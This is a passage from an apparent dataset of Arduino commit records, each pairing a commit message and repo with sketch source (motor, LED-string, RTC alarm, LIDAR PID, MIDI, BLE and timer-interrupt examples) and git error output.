\u30d5\u30eb\u30b9\u30d4\u30fc\u30c9\u9006\u8ee2\n digitalWrite(12, HIGH);\n digitalWrite(9, LOW);\n analogWrite(3, 255);\n \/\/ \u30e2\u30fc\u30bf\u30fcB: \u30d5\u30eb\u30b9\u30d4\u30fc\u30c9\u9006\u8ee2\n digitalWrite(13, HIGH);\n digitalWrite(8, LOW);\n analogWrite(11, 255);\n \/\/ 2\u79d2\u9593\u4e0a\u8a18\u8a2d\u5b9a\u3067\u56de\u8ee2\n delay(2000);\n }\n#endif\n \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/sketch_my_moter_test\/sketch_my_moter_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4c4d971060fbe85b8f7253d4d47859e43dabf8dc","subject":"version of randomActsOfColour with the rainbow colours instead of just red and green","message":"version of randomActsOfColour with the rainbow colours instead of just red and green\n","repos":"davidb24v\/G35Stuff","old_file":"Xmas2013\/randomActsOfRainbow\/randomActsOfRainbow.ino","new_file":"Xmas2013\/randomActsOfRainbow\/randomActsOfRainbow.ino","new_contents":"\n#include <G35String.h>\n\n\/\/#define TWO_STRINGS\n\n#ifdef TWO_STRINGS\n #define LIGHT_COUNT 50\n #define G35_PIN1 9\n #define G35_PIN2 10\n G35String lights1(G35_PIN1, LIGHT_COUNT);\n G35String lights2(G35_PIN2, LIGHT_COUNT);\n#else\n #define LIGHT_COUNT 49\n #define G35_PIN 9\n G35String lights(G35_PIN, LIGHT_COUNT);\n#endif\n\n\/\/ Simple function to get amount of RAM free\nint freeRam () {\n extern int __heap_start, *__brkval; \n int v; \n return (int) &v - (__brkval == 0 ? (int) &__heap_start : (int) __brkval); \n}\n\n\/\/ Colour table for rainbow\nconst int COLOURS[] = {COLOR_RED, COLOR_ORANGE, COLOR_YELLOW, COLOR_GREEN,\n COLOR_BLUE, COLOR_INDIGO, COLOR_VIOLET};\nconst int NCOLOURS = sizeof(COLOURS)\/sizeof(int);\n\n\/\/ Storage for bitmap of lights 7x8 bits = 56 (we need 50)\nconst int bulbBytes = 7;\n#ifdef TWO_STRINGS\nbyte bulbs1[bulbBytes];\nbyte bulbs2[bulbBytes];\n#else\nbyte bulbs[bulbBytes];\n#endif\n\n\/\/ Macros to work out which bit of which byte to set..\n#define GETBIT int bit = bulb % 8\n#define GETIND int ind = bulb \/ 8\n\n\/\/ Delays after each bulb change and after each string is done\n#define BETWEEN_BULBS 50\n#define AFTER_STRING 1000\n\n\/\/ Clear bitmap\nvoid clearBulbs(byte bulbs[]) {\n for (int i=0; i < bulbBytes; i++) {\n bulbs[i] = 0x00;\n }\n}\n\nvoid setBulb(byte bulbs[], const int bulb) {\n GETBIT;\n GETIND;\n bulbs[ind] |= 1 << bit;\n}\n\nvoid unSetBulb(byte bulbs[], const int bulb) {\n GETBIT;\n GETIND;\n bulbs[ind] &= ~(1 << bit);\n}\n\nbool bulbIsUnset(byte bulbs[], const int bulb) {\n GETBIT;\n GETIND;\n return (bulbs[ind] & (1 << bit)) == 0;\n}\n\nbool bulbIsSet(byte bulbs[], const int bulb) {\n GETBIT;\n GETIND;\n return (bulbs[ind] & (1 << bit)) > 0;\n}\n\nint countBits(byte bulbs[]) {\n int count=0;\n for (int bulb=0; bulb < LIGHT_COUNT; bulb++) {\n GETBIT;\n GETIND;\n if ( bulbs[ind] & (1 << bit) ) count++;\n }\n return count;\n}\n\nvoid setup() {\n Serial.begin (115200);\n Serial.println(freeRam());\n#ifdef TWO_STRINGS\n lights1.enumerate();\n lights2.enumerate();\n clearBulbs(bulbs1);\n clearBulbs(bulbs2);\n#else\n lights.enumerate();\n clearBulbs(bulbs);\n#endif\n\n \/\/ Assuming analogue pin 0 is floating then this should\n \/\/ give us a different pattern every time, not really but\n \/\/ it will do...\n randomSeed(analogRead(0));\n}\n\n\/\/ Which colour to display\nint colour = 0;\n\nvoid loop() {\n #ifdef TWO_STRINGS\n \/\/ Randomly switch on to current colour\n while ( countBits(bulbs1) < LIGHT_COUNT ||\n countBits(bulbs2) < LIGHT_COUNT ) {\n\n \/\/ Set the bulb on first string\n int bulb = random(LIGHT_COUNT);\n if ( bulbIsUnset(bulbs1, bulb) ) {\n setBulb(bulbs1, bulb);\n lights1.set_color(bulb, G35::MAX_INTENSITY, COLOURS[colour]);\n delay(BETWEEN_BULBS);\n }\n\n \/\/ Set the bulb on second string\n bulb = random(LIGHT_COUNT);\n if ( bulbIsUnset(bulbs2, bulb) ) {\n setBulb(bulbs2, bulb);\n lights2.set_color(bulb, G35::MAX_INTENSITY, COLOURS[colour]);\n delay(BETWEEN_BULBS);\n }\n }\n delay(AFTER_STRING);\n \n \/\/ Randomly switch off\n while ( countBits(bulbs1) > 0 ||\n countBits(bulbs2) > 0 ) {\n\n \/\/ Set the bulb on first string\n int bulb = random(LIGHT_COUNT);\n if ( bulbIsSet(bulbs1, bulb) ) {\n unSetBulb(bulbs1, bulb);\n lights1.set_color(bulb, G35::MAX_INTENSITY, COLOR_BLACK);\n delay(BETWEEN_BULBS);\n }\n\n \/\/ Set the bulb on second string\n bulb = random(LIGHT_COUNT);\n if ( bulbIsSet(bulbs2, bulb) ) {\n unSetBulb(bulbs2, bulb);\n lights2.set_color(bulb, G35::MAX_INTENSITY, COLOR_BLACK);\n delay(BETWEEN_BULBS);\n }\n }\n #else\n \/\/ Randomly switch on to current colour\n while ( countBits(bulbs) < LIGHT_COUNT ) {\n int bulb = random(LIGHT_COUNT);\n if ( bulbIsUnset(bulbs, bulb) ) {\n setBulb(bulbs, bulb);\n lights.set_color(bulb, G35::MAX_INTENSITY, COLOURS[colour]);\n delay(BETWEEN_BULBS);\n }\n }\n delay(AFTER_STRING);\n\n \/\/ Randomly switch off again...\n while ( countBits(bulbs) > 0 ) {\n int bulb = random(LIGHT_COUNT);\n if ( bulbIsSet(bulbs, bulb) ) {\n unSetBulb(bulbs, bulb);\n lights.set_color(bulb, G35::MAX_INTENSITY, COLOR_BLACK);\n delay(BETWEEN_BULBS);\n }\n }\n \n #endif\n\n colour++;\n colour = colour % NCOLOURS;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Xmas2013\/randomActsOfRainbow\/randomActsOfRainbow.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"67c066e4cd3997a6e1691f08797382aadf2f4766","subject":"minor","message":"minor\n","repos":"Au1st3in\/fall2015-e121-arduino-code,Au1st3in\/fall2015-e121-arduino-code","old_file":"robot_main\/robot_main.ino","new_file":"robot_main\/robot_main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Au1st3in\/fall2015-e121-arduino-code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1ecad135d0afce50fe44b71fb40ae4e74e6d7886","subject":"Basic Alarm Interrupt Example Added","message":"Basic Alarm Interrupt Example Added\n","repos":"NorthernWidget\/DS3231,NorthernWidget\/DS3231","old_file":"examples\/AlarmInterrupt\/AlarmInterrupt.ino","new_file":"examples\/AlarmInterrupt\/AlarmInterrupt.ino","new_contents":"#include <DS3231.h>\n#include <Wire.h>\n\n\/\/ Clock interrupt pin\n#define CLINT 2\n\nDS3231 Clock;\n\nvolatile int tick = 1;\n\nvoid setup() {\n \/\/ Begin serial communction\n Serial.begin(19200);\n Serial.println(\"DS3231 AlarmInterrupt Example\");\n Serial.println(\"=============================\");\n\n \/\/ Begin I2C communication\n Wire.begin();\n\n \/\/ Setup alarm two to fire every second\n Clock.turnOffAlarm(1);\n Clock.setA1Time(0, 0, 0, 0, 0b01111111, false, false, false);\n Clock.turnOnAlarm(1);\n Clock.checkIfAlarm(1);\n\n \/\/ attach clock interrupt\n pinMode(CLINT, INPUT_PULLUP);\n attachInterrupt(digitalPinToInterrupt(CLINT), isr_TickTock, FALLING);\n}\n\nvoid loop() {\n if (tick) {\n Serial.println(\"Tick.\");\n tick = 0;\n Clock.checkIfAlarm(1);\n }\n delay(100);\n}\n\n\nvoid isr_TickTock() {\n tick = 1;\n return;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AlarmInterrupt\/AlarmInterrupt.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"18807598359bc74185c9063d698a208ece093851","subject":"LIDAR with PIDs","message":"LIDAR with PIDs\n","repos":"EC544-2015-Group2\/Challenge4,EC544-2015-Group2\/Challenge4","old_file":"LIDAR_withPIDs\/LIDAR_withPIDs\/LIDAR_withPIDs.ino","new_file":"LIDAR_withPIDs\/LIDAR_withPIDs\/LIDAR_withPIDs.ino","new_contents":"\n\/\/ Two LIDARs on one side\n\n#include <Wire.h>\n#include <math.h>\n#include <PID_v1.h>\n#include <Servo.h>\n\n#define LIDARLite_ADDRESS 0x62 \/\/ Default I2C Address of LIDAR-Lite.\n#define RegisterMeasure 0x00 \/\/ Register to write to initiate ranging.\n#define MeasureValue 0x04 \/\/ Value to initiate ranging.\n#define RegisterHighLowB 0x8f \/\/ Register to get both High and Low bytes in 1 call.\n\n\/\/set up servos\nServo steeringServo;\nServo motorServo;\nconst int steeringPin = 9;\nconst int motorPin = 8;\n\n\/\/define PID variables\ndouble Setpoint_theta, Input_theta, Output_theta, Setpoint_dist, Input_dist, Output_dist;\n\/\/specify initial PID links and tuning\nint KpT = 1;\nint KiT = 0;\nint KdT = 0.5;\nint KpD = 2;\nint KiD = 0;\nint KdD = 0;\nPID PID_theta(&Input_theta, &Output_theta, &Setpoint_theta, KpT, KiT, KdT, DIRECT);\nPID PID_dist(&Input_dist, &Output_dist, &Setpoint_dist, KpD, KiD, KdD, DIRECT);\n\nvoid getDist(double (&distArray)[4]);\n\/\/ Variables to store last state\ndouble lastDist0;\ndouble lastDist1;\n\/\/ Variables to store current distances\ndouble dist0;\ndouble dist1;\n\n\/\/Spacing between LIDARs on vehicle\ndouble LIDARspacing = 20;\n\n\/\/ Power enable switches\nconst int switch0 = 12;\nconst int switch1 = 13;\n\n\/\/ # of LIDAR samples\nint samples = 5;\n\n\/\/ Set pi\nconst float pi = 3.142;\n\n\/\/---------------------------------------------------------\/\/\nvoid setup() {\n \/\/ Initialize linked variables\n Input_theta = 0;\n Input_dist = 100;\n Setpoint_theta = 0;\n Setpoint_dist = 90;\n\n PID_theta.SetMode(AUTOMATIC);\n PID_dist.SetMode(AUTOMATIC);\n\n \/\/ Servo range limits\n PID_theta.SetOutputLimits(-60, 60);\n PID_dist.SetOutputLimits(-60, 60);\n\n steeringServo.attach(steeringPin);\n motorServo.attach(motorPin);\n\n \/\/ Initialize power enable pins\n pinMode(switch0, OUTPUT);\n pinMode(switch1, OUTPUT);\n \/\/ Initialize LIDAR0 on and LIDAR1 off\n digitalWrite(switch0, HIGH);\n digitalWrite(switch1, LOW);\n\n \/\/ Begin serial\n Serial.begin(9600);\n \/\/ Open and join irc bus as master\n Wire.begin();\n delay(100);\n\n}\n\nvoid loop() {\n double distArr[4];\n getDist(distArr);\n \/\/ for (int k = 0; k < 4 ; k++) {\n \/\/ Serial.println(distArr[k]);\n \/\/ delay(1);\n \/\/ }\n \/\/ Serial.println(\"end\");\n\/\/ Serial.print(\"Dist: \");\n\/\/ Serial.println(distArr[3]);\n\/\/ Serial.print(\"Angle: \");\n\/\/ Serial.println(distArr[2]);\n\n \/\/ Run the PID loops\n Input_theta = distArr[2];\n Input_dist = distArr[3];\n PID_theta.Compute();\n PID_dist.Compute();\n\n motorServo.write(90 );\n steeringServo.write(90 - Output_theta); \/\/ - Output_theta - Output_dist\n\/\/ Serial.print(\"PID_theta: \");\n\/\/ Serial.println(Output_theta);\n\/\/ Serial.print(\"PID_dist: \");\n\/\/ Serial.println(Output_dist);\n delay(15);\n}\n\n\n\/\/---------------------------------------------------------\/\/\nvoid getDist(double (&distArray)[4]) {\n\n for (int i = 0; i < 2; i++) {\n switch (i) {\n \/\/ case 0 is LIDAR0, case 1 is LIDAR1\n case 0:\n digitalWrite(switch0, LOW);\n digitalWrite(switch1, LOW);\n delay(5);\n digitalWrite(switch0, HIGH);\n delay(5);\n break;\n case 1:\n digitalWrite(switch0, LOW);\n digitalWrite(switch1, LOW);\n delay(5);\n digitalWrite(switch1, HIGH);\n delay(5);\n break;\n }\n \/\/Error checking\n \/\/ Serial.print(\"case: \");\n \/\/ Serial.println(i);\n \/\/--\n\n \/\/ sum distances so that we can average multiple samples\n int distSum = 0;\n int distance;\n\n for (int j = 0; j < samples; j++) {\n distance = 0;\n \/\/ This section from LIDAR Lite Wire example\n \/\/-----------------\/\/\n Wire.beginTransmission((int)LIDARLite_ADDRESS); \/\/ transmit to LIDAR-Lite\n Wire.write((int)RegisterMeasure); \/\/ sets register pointer to (0x00)\n Wire.write((int)MeasureValue); \/\/ sets register pointer to (0x00)\n Wire.endTransmission(); \/\/ stop transmitting\n\n delay(20); \/\/ Wait 20ms for transmit\n\n Wire.beginTransmission((int)LIDARLite_ADDRESS); \/\/ transmit to LIDAR-Lite\n Wire.write((int)RegisterHighLowB); \/\/ sets register pointer to (0x8f)\n Wire.endTransmission(); \/\/ stop transmitting\n\n delay(20); \/\/ Wait 20ms for transmit\n\n Wire.requestFrom((int)LIDARLite_ADDRESS, 2); \/\/ request 2 bytes from LIDAR-Lite\n\n if (2 <= Wire.available()) \/\/ if two bytes were received\n {\n distance = Wire.read(); \/\/ receive high byte (overwrites previous reading)\n distance = distance << 8; \/\/ shift high byte to be high 8 bits\n distance |= Wire.read(); \/\/ receive low byte as lower 8 bits\n }\n \/\/-----------------\/\/\n \/\/low pass filter\n switch (i) {\n case 0:\n if (distance < 0 || distance > 4000) {\n distance = lastDist0;\n }\n distance = 0.7 * distance + 0.3 * lastDist0;\n lastDist0 = distance;\n break;\n case 1:\n if (distance < 0 || distance > 4000) {\n distance = lastDist1;\n }\n distance = 0.7 * distance + 0.3 * lastDist1;\n lastDist1 = distance;\n break;\n }\n distSum = distSum + distance;\n delay(10);\n }\n if (i == 0) {\n dist0 = distSum \/ samples;\n \/\/Error checking\n\/\/ Serial.print(\"dist0: \");\n\/\/ Serial.println(dist0);\n \/\/--\n \/\/ distArray[0] = dist0 * 1.0;\n } else if (i == 1) {\n dist1 = distSum \/ samples;\n \/\/ Distance calibration for sensor 2\n \/\/ dist1 = 46 + ((88 - 46) \/ (82 - 39)) * (dist1 - 39);\n dist1 = 6.5 + dist1 * (0.98);\n \/\/Error checking\n\/\/ Serial.print(\"dist1: \");\n\/\/ Serial.println(dist1);\n \/\/--\n \/\/ distArray[1] = dist1 * 1.0;\n }\n double angle = atan((dist0 - dist1) \/ LIDARspacing);\n \/\/Error checking\n \/\/ Serial.print(\"angle: \");\n \/\/ Serial.println(angle);\n \/\/--\n distArray[2] = angle;\n double perpDist0 = dist0 * cos(angle);\n distArray[0] = perpDist0;\n double perpDist1 = dist1 * cos(angle);\n distArray[1] = perpDist1;\n double centerDist = (perpDist0 + perpDist1) \/ 2;\n distArray[2] = angle * 180 \/ 3.142;\n \/\/Error checking\n \/\/ Serial.print(\"centerDist: \");\n \/\/ Serial.println(centerDist);\n \/\/--\n distArray[3] = centerDist;\n delay(10);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LIDAR_withPIDs\/LIDAR_withPIDs\/LIDAR_withPIDs.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8afc03e33b842f08238529e9fb93f4ef92cb2a5a","subject":"minor comment","message":"minor comment\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_robot3.ino","new_file":"motor_robot3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"52bf2944a7c763bfd3630446fb92f1d938bfcbe4","subject":"Added MIDICLOCKDRUM, first test version. Test program for DBSHIELD1 : arduino shield for DreamBlaster X2,S2,.. see https:\/\/www.serdashop.com\/DBSHIELD1 Demo program usage : connect a midi signal with MIDI Clock to the midi input The DBSHIELD1 will play a drum beat in sync with the clock","message":"Added MIDICLOCKDRUM, first test version.\nTest program for DBSHIELD1 : arduino shield for DreamBlaster X2,S2,..\nsee https:\/\/www.serdashop.com\/DBSHIELD1\nDemo program usage : connect a midi signal with MIDI Clock to the midi input\nThe DBSHIELD1 will play a drum beat in sync with the clock\n","repos":"serdef\/synthprojects,serdef\/synthprojects","old_file":"arduino\/software\/MIDICLOCKDRUM\/MIDICLOCKDRUM.ino","new_file":"arduino\/software\/MIDICLOCKDRUM\/MIDICLOCKDRUM.ino","new_contents":"#include <MIDI.h>\n\/\/ Test program for DBSHIELD1 : arduino shield for DreamBlaster X2,S2,..\n\/\/ see https:\/\/www.serdashop.com\/DBSHIELD1\n\/\/ Demo program usage : \n\/\/ connect a midi signal with MIDI Clock to the midi input\n\/\/ the DBSHIELD1 will play a drum beat in sync with the clock\n\n\nbool clockison = false;\nint clockcount = 0;\nint seqcount = 0;\nint clockinterval = 6;\nint patternlength = 4;\nMIDI_CREATE_DEFAULT_INSTANCE();\n\n#define GMBASS 36\n#define GMCLOSEHIHAT 42\n\nvoid handleContinue(void)\n{\n clockison = true; \n}\n\nvoid handleStart(void)\n{\n clockison = true;\n clockcount = 0;\n}\n\nvoid handleStop(void)\n{\n clockison = false;\n \n}\n\nvoid sequencestep(int seqcount)\n{\n switch (seqcount)\n {\n case 0:\n MIDI.sendNoteOn(GMBASS, 127, 10); \n break;\n case 1:\n case 2:\n case 3:\n MIDI.sendNoteOn(GMCLOSEHIHAT, 127, 10); \n break; \n }\n}; \n\nvoid handleClock(void)\n{\n if(clockison)\n {\n if(clockcount>=clockinterval)\n {\n clockcount=0; \n seqcount = seqcount % patternlength;\n sequencestep(seqcount);\n seqcount++;\n }\n clockcount++;\n }\n \n}\nvoid HandleNoteOn(byte channel, byte pitch, byte velocity) {\n\/\/ check your pitch, velocity, and channel here\n digitalWrite(LED_BUILTIN, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n}\nvoid HandleNoteOff(byte channel, byte pitch, byte velocity) {\n\/\/ check your pitch, velocity, and channel here\n digitalWrite(LED_BUILTIN, LOW); \/\/ turn the LED off by making the voltage LOW\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n MIDI.begin();\n MIDI.setHandleNoteOn(HandleNoteOn);\n MIDI.setHandleNoteOff(HandleNoteOff);\n MIDI.setHandleClock(handleClock);\n MIDI.setHandleStart(handleStart);\n MIDI.setHandleStop(handleStop);\n MIDI.setHandleContinue(handleContinue);\n pinMode(LED_BUILTIN, OUTPUT);\n}\n\n\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n MIDI.read();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/software\/MIDICLOCKDRUM\/MIDICLOCKDRUM.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ad31f2492fa9dc53d1cb75389f2fe854ca73e214","subject":"Update hrm.ino","message":"Update hrm.ino\n\nadding alarm code","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/src\/hrm.ino","new_file":"arduino\/src\/hrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"db659323cd2a6ce29a52ef4298cadb0ca72b3a2c","subject":"ESP32 first simple BLE advertising","message":"ESP32 first simple BLE advertising\n","repos":"bencoman\/siteBKNS,bencoman\/siteBKNS,bencoman\/siteBKNS,bencoman\/siteBKNS","old_file":"ESP32\/Examples\/MySimpleBleDevice\/MySimpleBleDevice.ino","new_file":"ESP32\/Examples\/MySimpleBleDevice\/MySimpleBleDevice.ino","new_contents":"\/\/ 2017.07.08.BTC Found this example in File > Examples > Example for Sparkfun ESP32 Thing > SimpleBLE\n\n\/\/ Copyright 2015-2016 Espressif Systems (Shanghai) PTE LTD\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/ Sketch shows how SimpleBLE to advertise the name of the device and change it on button press\n\/\/ Usefull if you want to advertise some short message\n\/\/ Button is attached between GPIO 0 and GND and modes are switched with each press\n\n#include \"SimpleBLE.h\"\nSimpleBLE ble;\n\nvoid onButton(){\n String out = \"BLE32 at: \";\n out += String(millis() \/ 1000);\n Serial.println(out);\n ble.begin(out);\n}\n\nvoid setup() {\n Serial.begin(115200);\n Serial.setDebugOutput(true);\n pinMode(0, INPUT_PULLUP);\n Serial.print(\"ESP32 SDK: \");\n Serial.println(ESP.getSdkVersion());\n ble.begin(\"ESP32 SimpleBLE\");\n Serial.println(\"Press the button to change the device name\");\n}\n\nvoid loop() {\n static uint8_t lastPinState = 1;\n uint8_t pinState = digitalRead(0);\n digitalWrite(LED_BUILTIN, HIGH);\n delay(500);\n if(!pinState && lastPinState){\n onButton();\n }\n lastPinState = pinState;\n while(Serial.available()) Serial.write(Serial.read());\n digitalWrite(LED_BUILTIN, LOW);\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP32\/Examples\/MySimpleBleDevice\/MySimpleBleDevice.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"49de22686b1ef2ef069a9230ca9e70f2bde79595","subject":"update","message":"update\n","repos":"DaveCalaway\/ESP8266,DaveCalaway\/ESP8266","old_file":"Esempi\/ledStatus_button_HTML\/ledStatus_button_HTML.ino","new_file":"Esempi\/ledStatus_button_HTML\/ledStatus_button_HTML.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DaveCalaway\/ESP8266.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"13716b713cb1b3b05860c0546611c567d5d8c8e3","subject":"Initial sketch","message":"Initial sketch\n","repos":"dmarchand\/inferno,dmarchand\/inferno","old_file":"inferno.ino","new_file":"inferno.ino","new_contents":"#include <Arduboy.h>\nArduboy arduboy;\n\nvoid setup() {\n arduboy.begin();\n arduboy.setFrameRate(30);\n\n intro();\n}\n\nvoid intro()\n{\n for(int i = -8; i < 28; i = i + 2)\n {\n arduboy.clear();\n arduboy.setCursor(30, i);\n arduboy.print(\"Dan's Games\");\n arduboy.display();\n }\n\n arduboy.tunes.tone(987, 160);\n delay(160);\n arduboy.tunes.tone(1318, 400);\n delay(2000);\n}\n\nvoid loop() {\n if (!(arduboy.nextFrame()))\n return;\n\n arduboy.display();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'inferno.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7c113f893de3a9ee4eaea71ffeb81f6696cc0d91","subject":"Create beefps.ino","message":"Create beefps.ino","repos":"laykatz\/BeEFcShell,laykatz\/BeEFcShell","old_file":"beefps.ino","new_file":"beefps.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/laykatz\/BeEFcShell.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"75bafcea8a9396a3713e00139b963ef907c129b7","subject":"Recover data","message":"Recover data\n","repos":"jecrespo\/aprendiendoarduino-iot,jecrespo\/aprendiendoarduino-iot","old_file":"04-Intel IoT Analytics\/Hackathon_01\/Hackathon_01.ino","new_file":"04-Intel IoT Analytics\/Hackathon_01\/Hackathon_01.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec '04-Intel' did not match any file(s) known to git\nerror: pathspec 'IoT' did not match any file(s) known to git\nerror: pathspec 'Analytics\/Hackathon_01\/Hackathon_01.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b57603448ee92386a7e44ea1acb7d13f7ff9f9b4","subject":"Create timer_overflow_interrupt.ino","message":"Create timer_overflow_interrupt.ino","repos":"jdmgroup\/robotchemistry","old_file":"interrupts\/timer_overflow_interrupt.ino","new_file":"interrupts\/timer_overflow_interrupt.ino","new_contents":"#include <Arduino.h>\n\n\/*\nTimer Overflow Interrupt Example\n\nJames H. Bannock, 2017\nNorges teknisk-naturvitenskapelige universitet (NTNU)\n\nIn this example a message is printed on the serial port every 0.5 s\n\nNotes:\n - All timer units equate to the prescaler clock settings of the timer\n - Clock speed is 16 MHz -> 1 cycle takes 62.5 ns\n - Here we use 1\/256 prescaling (i.e. the timer increments every 256 cycles)\n - Therefore, 1 timer unit equates to 16 us (62.5 ns * 256)\n - The prescaler is set by enabling the Clock Setting bit CS12 in the Timer\/\n Counter Control Register B (TCCR1B)\n - Timer1 is the 16-bit timer (i.e. has a max. value of 65535)\n - Overflow ISR will trigger when Timer Counter 1 (TCNT1) > 65535\n - TCNT1 can be preloaded to vary the delay time before overflow occurs,\n accordingly: delay = 65536 - p, where p is the preloaded timer value\n (overflow triggers on 65535 + 1)\n - TCNT1 must be preloaded in each ISR call, else the delay will equal 65535\n - Here, TIMER_PRELOAD is set to 34286, which corresponds to an ISR call every\n 0.5 s (delay = 500 ms \/ 16 us = 31250, p = 65536 - 31250 = 34286)\n - The ISR is enabled by enabling the Output Compare match A Interrupt Enable\n for Timer 1 (OCIE1A) in the Timer Interrupt Mask (TIMSK1)\n*\/\n\n#define TIMER_PRELOAD 34286\n\nvoid setup() {\n Serial.begin(9600); (!Serial); \/\/ setup serial port\n setupTimer(); \/\/ setup timer\n}\n\nISR(TIMER1_OVF_vect) { \/\/ Timer1 overflow (OVF) interrupt service routine (ISR)\n Serial.println(\"Timer Overflow Interrupt Triggered\");\n TCNT1 = TIMER_PRELOAD; \/\/ reload timer counter\n}\n\nvoid loop() {}\n\nvoid setupTimer() {\n noInterrupts(); \/\/ disable all interrupts\n TCCR1A = 0; \/\/ reset timer\/counter control register A for Timer1\n TCCR1B = 0; \/\/ reset timer\/counter control register B for Timer1\n\n TCNT1 = TIMER_PRELOAD; \/\/ timer\/counter\n TCCR1B |= (1 << CS12); \/\/ clock select (Timer1, bit2 -> 1\/256 prescale)\n TIMSK1 |= (1 << TOIE1); \/\/ enable the timer overflow interrupt (TOIE1) in the\n \/\/ timer interrupt mask for Timer1 (TIMSK1)\n interrupts(); \/\/ enable all interrupts\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'interrupts\/timer_overflow_interrupt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0df99d9ea1b01a069806276dc4aeb38205c5de03","subject":"This program uses the HIVE Led\/Switch shield for arduino uno. The program sends state of the switches over RS232 in CVS style","message":"This program uses the HIVE Led\/Switch shield for arduino uno.\nThe program sends state of the switches over RS232 in CVS style\n","repos":"rlangoy\/socLabWeek41","old_file":"arduino_src\/SerialSendSwitchStatus\/SerialSendSwitchStatus.ino","new_file":"arduino_src\/SerialSendSwitchStatus\/SerialSendSwitchStatus.ino","new_contents":"\/*\n This program uses the HIVE Led\/Switch shield for arduino uno.\n The program sends state of the switches over RS232 \n This example code is in the public domain.\n *\/\n\n#include <stdio.h> \/\/ Use the sprinf to generate strings\n\n\/\/ Give names to the input pins\nint sw0 = 14;\nint sw1 = 15;\nint sw2 = 16;\nint sw3 = 17;\nint sw4 = 18;\n\n\/\/The serial output buffer\nchar msg[100];\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(9600);\n\n \/\/ make the switches input width pulup\n pinMode(sw0, INPUT_PULLUP);\n pinMode(sw1, INPUT_PULLUP);\n pinMode(sw2, INPUT_PULLUP);\n pinMode(sw3, INPUT_PULLUP);\n}\n\nvoid loop() {\n \n sprintf(msg,\"$SW,%d,%d,%d,%d\",\n digitalRead(sw0),digitalRead(sw1),\n digitalRead(sw2),digitalRead(sw3));\n \n Serial.println(msg);\n \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_src\/SerialSendSwitchStatus\/SerialSendSwitchStatus.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"332c7b4e76abc22b7193fde1e95bd59f52739a64","subject":"Added test code","message":"Added test code\n","repos":"siracoj\/backbreaker","old_file":"AudrinoCode\/PressureSensorReadTest\/PressureSensorReadTest.ino","new_file":"AudrinoCode\/PressureSensorReadTest\/PressureSensorReadTest.ino","new_contents":"#include <SD.h>\n\n\/\/Audrino code to read in the six sensors\n\/\/Reads data every 100ms\nint 